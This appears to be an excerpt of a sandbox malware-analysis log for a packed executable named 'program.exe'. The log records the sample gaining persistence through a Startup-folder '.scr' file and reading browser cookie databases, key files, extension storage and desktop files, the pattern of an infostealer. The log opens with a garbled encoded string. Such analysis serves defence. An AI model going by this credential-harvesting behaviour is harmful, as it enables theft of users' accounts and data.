sag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe

Code function: 83_2_00007FF64FE9B340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

83_2_00007FF64FE9B340

Source: C:\Users\user\Desktop\program.exe

Code function: 0_2_00007FF6B7529570 cpuid

0_2_00007FF6B7529570

Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\_sqlite3.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73082\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\BPMLNOBVSB.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\BPMLNOBVSB.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\BPMLNOBVSB.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\BPMLNOBVSB.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\BPMLNOBVSB.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\BPMLNOBVSB.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\BPMLNOBVSB.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\BPMLNOBVSB.mp3 VolumeInformation	Jump to behavior
